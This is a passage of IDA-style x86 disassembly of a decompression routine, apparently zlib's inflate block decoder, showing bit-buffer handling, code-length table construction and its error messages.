; sub_42B1FD+50Ej
cmp [ebp+var_18], 0
jnz loc_42B856
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
mov [ebp+arg_8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_42B793
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_68], ecx
jmp short loc_42B79F
; ---------------------------------------------------------------------------
loc_42B793: ; CODE XREF: sub_42B1FD+583j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_68], eax
loc_42B79F: ; CODE XREF: sub_42B1FD+594j
mov ecx, [ebp+var_68]
mov [ebp+var_18], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+2Ch]
jnz short loc_42B7F5
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov eax, [ecx+30h]
cmp eax, [edx+28h]
jz short loc_42B7F5
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_42B7E3
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_6C], eax
jmp short loc_42B7EF
; ---------------------------------------------------------------------------
loc_42B7E3: ; CODE XREF: sub_42B1FD+5D3j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_6C], edx
loc_42B7EF: ; CODE XREF: sub_42B1FD+5E4j
mov eax, [ebp+var_6C]
mov [ebp+var_18], eax
loc_42B7F5: ; CODE XREF: sub_42B1FD+5B1j
; sub_42B1FD+5BFj
cmp [ebp+var_18], 0
jnz short loc_42B856
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42B856: ; CODE XREF: sub_42B1FD+4F1j
; sub_42B1FD+54Bj ...
mov [ebp+arg_8], 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
cmp eax, [ebp+var_1C]
jbe short loc_42B874
mov ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
loc_42B874: ; CODE XREF: sub_42B1FD+66Fj
mov edx, [ebp+var_10]
cmp edx, [ebp+var_18]
jbe short loc_42B882
mov eax, [ebp+var_18]
mov [ebp+var_10], eax
loc_42B882: ; CODE XREF: sub_42B1FD+67Dj
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_8]
push eax
call sub_4318C4 ; memcpy
add esp, 0Ch
mov ecx, [ebp+var_4]
add ecx, [ebp+var_10]
mov [ebp+var_4], ecx
mov edx, [ebp+var_1C]
sub edx, [ebp+var_10]
mov [ebp+var_1C], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_10]
mov [ebp+var_8], eax
mov ecx, [ebp+var_18]
sub ecx, [ebp+var_10]
mov [ebp+var_18], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jz short loc_42B8D7
jmp loc_42C524
; ---------------------------------------------------------------------------
loc_42B8D7: ; CODE XREF: sub_42B1FD+6D3j
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
neg ecx
sbb ecx, ecx
and ecx, 7
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp loc_42C524
; ---------------------------------------------------------------------------
loc_42B8EE: ; CODE XREF: sub_42B1FD+75j
; sub_42B1FD+794j
; DATA XREF: ...
cmp [ebp+var_14], 0Eh
jnb loc_42B996
cmp [ebp+var_1C], 0
jz short loc_42B907
mov [ebp+arg_8], 0
jmp short loc_42B962
; ---------------------------------------------------------------------------
loc_42B907: ; CODE XREF: sub_42B1FD+6FFj
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42B962: ; CODE XREF: sub_42B1FD+708j
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_42B8EE
; ---------------------------------------------------------------------------
loc_42B996: ; CODE XREF: sub_42B1FD+6F5j
mov eax, [ebp+var_C]
and eax, 3FFFh
mov [ebp+var_10], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+var_10]
and eax, 1Fh
cmp eax, 1Dh
ja short loc_42B9C3
mov ecx, [ebp+var_10]
shr ecx, 5
and ecx, 1Fh
cmp ecx, 1Dh
jbe short loc_42BA38
loc_42B9C3: ; CODE XREF: sub_42B1FD+7B6j
mov edx, [ebp+arg_0]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aTooManyLengthO ; "too many length or distance symbols"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42BA38: ; CODE XREF: sub_42B1FD+7C4j
mov ecx, [ebp+var_10]
and ecx, 1Fh
mov edx, [ebp+var_10]
shr edx, 5
and edx, 1Fh
lea eax, [ecx+edx+102h]
mov [ebp+var_10], eax
push 4
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_4]
call dword ptr [ecx+20h]
add esp, 0Ch
mov edx, [ebp+arg_0]
mov [edx+0Ch], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], 0
jnz short loc_42BAD8
mov [ebp+arg_8], 0FFFFFFFCh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42BAD8: ; CODE XREF: sub_42B1FD+877j
mov ecx, [ebp+var_C]
shr ecx, 0Eh
mov [ebp+var_C], ecx
mov edx, [ebp+var_14]
sub edx, 0Eh
mov [ebp+var_14], edx
mov eax, [ebp+arg_0]
mov dword ptr [eax+8], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 4
loc_42BAFD: ; CODE XREF: sub_42B1FD+75j
; sub_42B1FD+9FFj
; DATA XREF: ...
mov edx, [ebp+arg_0]
mov eax, [edx+4]
shr eax, 0Ah
add eax, 4
mov ecx, [ebp+arg_0]
cmp [ecx+8], eax
jnb loc_42BC01
loc_42BB15: ; CODE XREF: sub_42B1FD+9BDj
cmp [ebp+var_14], 3
jnb loc_42BBBF
cmp [ebp+var_1C], 0
jz short loc_42BB2E
mov [ebp+arg_8], 0
jmp short loc_42BB89
; ---------------------------------------------------------------------------
loc_42BB2E: ; CODE XREF: sub_42B1FD+926j
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42BB89: ; CODE XREF: sub_42B1FD+92Fj
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_42BB15
; ---------------------------------------------------------------------------
loc_42BBBF: ; CODE XREF: sub_42B1FD+91Cj
mov eax, [ebp+var_C]
and eax, 7
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov ecx, dword_434440[edx*4]
mov edx, [ebp+arg_0]
mov edx, [edx+0Ch]
mov [edx+ecx*4], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
jmp loc_42BAFD
; ---------------------------------------------------------------------------
loc_42BC01: ; CODE XREF: sub_42B1FD+912j
; sub_42B1FD+A36j
mov edx, [ebp+arg_0]
cmp dword ptr [edx+8], 13h
jnb short loc_42BC35
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov edx, dword_434440[ecx*4]
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
mov dword ptr [ecx+edx*4], 0
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
jmp short loc_42BC01
; ---------------------------------------------------------------------------
loc_42BC35: ; CODE XREF: sub_42B1FD+A0Bj
mov edx, [ebp+arg_0]
mov dword ptr [edx+10h], 7
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
mov eax, [ebp+arg_0]
add eax, 14h
push eax
mov ecx, [ebp+arg_0]
add ecx, 10h
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
push eax
call sub_42CE8E
add esp, 14h
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz loc_42BCFB
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_4]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+var_10]
mov [ebp+arg_8], eax
cmp [ebp+arg_8], 0FFFFFFFDh
jnz short loc_42BCA0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 9
loc_42BCA0: ; CODE XREF: sub_42B1FD+A98j
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42BCFB: ; CODE XREF: sub_42B1FD+A71j
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax], 5
loc_42BD0E: ; CODE XREF: sub_42B1FD+75j
; sub_42B1FD:loc_42C09Cj
; DATA XREF: ...
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
and eax, 1Fh
mov ecx, [ebp+var_10]
shr ecx, 5
and ecx, 1Fh
lea edx, [eax+ecx+102h]
mov eax, [ebp+arg_0]
cmp [eax+8], edx
jnb loc_42C0A1
mov ecx, [ebp+arg_0]
mov edx, [ecx+10h]
mov [ebp+var_10], edx
loc_42BD42: ; CODE XREF: sub_42B1FD+BEAj
mov eax, [ebp+var_14]
cmp eax, [ebp+var_10]
jnb loc_42BDEC
cmp [ebp+var_1C], 0
jz short loc_42BD5D
mov [ebp+arg_8], 0
jmp short loc_42BDB8
; ---------------------------------------------------------------------------
loc_42BD5D: ; CODE XREF: sub_42B1FD+B55j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42BDB8: ; CODE XREF: sub_42B1FD+B5Ej
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_14]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_14]
add eax, 8
mov [ebp+var_14], eax
jmp loc_42BD42
; ---------------------------------------------------------------------------
loc_42BDEC: ; CODE XREF: sub_42B1FD+B4Bj
mov ecx, [ebp+var_10]
mov edx, [ebp+var_C]
and edx, dword_4332F8[ecx*4]
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
lea edx, [ecx+edx*8]
mov [ebp+var_34], edx
mov eax, [ebp+var_34]
xor ecx, ecx
mov cl, [eax+1]
mov [ebp+var_10], ecx
mov edx, [ebp+var_34]
mov eax, [edx+4]
mov [ebp+var_30], eax
cmp [ebp+var_30], 10h
jnb short loc_42BE59
mov edx, [ebp+var_C]
mov ecx, [ebp+var_10]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, [ebp+var_10]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
mov eax, [ebp+var_30]
mov [ecx+edx*4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
jmp loc_42C09C
; ---------------------------------------------------------------------------
loc_42BE59: ; CODE XREF: sub_42B1FD+C20j
cmp [ebp+var_30], 12h
jnz short loc_42BE68
mov [ebp+var_70], 7
jmp short loc_42BE71
; ---------------------------------------------------------------------------
loc_42BE68: ; CODE XREF: sub_42B1FD+C60j
mov ecx, [ebp+var_30]
sub ecx, 0Eh
mov [ebp+var_70], ecx
loc_42BE71: ; CODE XREF: sub_42B1FD+C69j
mov edx, [ebp+var_70]
mov [ebp+var_38], edx
mov eax, [ebp+var_30]
sub eax, 12h
neg eax
sbb eax, eax
and al, 0F8h
add eax, 0Bh
mov [ebp+var_3C], eax
loc_42BE89: ; CODE XREF: sub_42B1FD+D36j
mov ecx, [ebp+var_10]
add ecx, [ebp+var_38]
cmp [ebp+var_14], ecx
jnb loc_42BF38
cmp [ebp+var_1C], 0
jz short loc_42BEA7
mov [ebp+arg_8], 0
jmp short loc_42BF02
; ---------------------------------------------------------------------------
loc_42BEA7: ; CODE XREF: sub_42B1FD+C9Fj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42BF02: ; CODE XREF: sub_42B1FD+CA8j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_42BE89
; ---------------------------------------------------------------------------
loc_42BF38: ; CODE XREF: sub_42B1FD+C95j
mov eax, [ebp+var_C]
mov ecx, [ebp+var_10]
shr eax, cl
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, [ebp+var_10]
mov [ebp+var_14], ecx
mov edx, [ebp+var_38]
mov eax, [ebp+var_C]
and eax, dword_4332F8[edx*4]
mov ecx, [ebp+var_3C]
add ecx, eax
mov [ebp+var_3C], ecx
mov edx, [ebp+var_C]
mov ecx, [ebp+var_38]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, [ebp+var_38]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov [ebp+var_38], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_38]
add edx, [ebp+var_3C]
mov eax, [ebp+var_10]
and eax, 1Fh
mov ecx, [ebp+var_10]
shr ecx, 5
and ecx, 1Fh
lea eax, [eax+ecx+102h]
cmp edx, eax
ja short loc_42BFBB
cmp [ebp+var_30], 10h
jnz loc_42C047
cmp [ebp+var_38], 1
jnb loc_42C047
loc_42BFBB: ; CODE XREF: sub_42B1FD+DA8j
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_4]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+arg_0]
mov dword ptr [eax], 9
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
mov [ebp+arg_8], 0FFFFFFFDh
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42C047: ; CODE XREF: sub_42B1FD+DAEj
; sub_42B1FD+DB8j
cmp [ebp+var_30], 10h
jnz short loc_42C05F
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
mov ecx, [ebp+var_38]
mov edx, [eax+ecx*4-4]
mov [ebp+var_74], edx
jmp short loc_42C066
; ---------------------------------------------------------------------------
loc_42C05F: ; CODE XREF: sub_42B1FD+E4Ej
mov [ebp+var_74], 0
loc_42C066: ; CODE XREF: sub_42B1FD+E60j
mov eax, [ebp+var_74]
mov [ebp+var_30], eax
loc_42C06C: ; CODE XREF: sub_42B1FD+E94j
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
mov eax, [ebp+var_38]
mov ecx, [ebp+var_30]
mov [edx+eax*4], ecx
mov edx, [ebp+var_38]
add edx, 1
mov [ebp+var_38], edx
mov eax, [ebp+var_3C]
sub eax, 1
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0
jnz short loc_42C06C
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_38]
mov [ecx+8], edx
loc_42C09C: ; CODE XREF: sub_42B1FD+C57j
jmp loc_42BD0E
; ---------------------------------------------------------------------------
loc_42C0A1: ; CODE XREF: sub_42B1FD+B36j
mov eax, [ebp+arg_0]
mov dword ptr [eax+14h], 0
mov [ebp+var_4C], 9
mov [ebp+var_40], 6
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
mov [ebp+var_10], edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
lea eax, [ebp+var_50]
push eax
lea ecx, [ebp+var_48]
push ecx
lea edx, [ebp+var_40]
push edx
lea eax, [ebp+var_4C]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+var_10]
shr eax, 5
and eax, 1Fh
add eax, 1
push eax
mov ecx, [ebp+var_10]
and ecx, 1Fh
add ecx, 101h
push ecx
call sub_42CF36
add esp, 24h
mov [ebp+var_10], eax
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
cmp [ebp+var_10], 0
jz short loc_42C196
cmp [ebp+var_10], 0FFFFFFFDh
jnz short loc_42C135
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 9
loc_42C135: ; CODE XREF: sub_42B1FD+F2Dj
mov edx, [ebp+var_10]
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42C196: ; CODE XREF: sub_42B1FD+F27j
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_50]
push ecx
mov edx, [ebp+var_48]
push edx
mov eax, [ebp+var_40]
push eax
mov ecx, [ebp+var_4C]
push ecx
call sub_42A289
add esp, 14h
mov [ebp+var_44], eax
cmp [ebp+var_44], 0
jnz short loc_42C21D
mov [ebp+arg_8], 0FFFFFFFCh
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42C21D: ; CODE XREF: sub_42B1FD+FBCj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_44]
mov [edx+4], eax
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 6
loc_42C22F: ; CODE XREF: sub_42B1FD+75j
; DATA XREF: TEUm:0042C545o
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A2DE
add esp, 0Ch
mov [ebp+arg_8], eax
cmp [ebp+arg_8], 1
jz short loc_42C2A7
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42C2A7: ; CODE XREF: sub_42B1FD+108Fj
mov [ebp+arg_8], 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
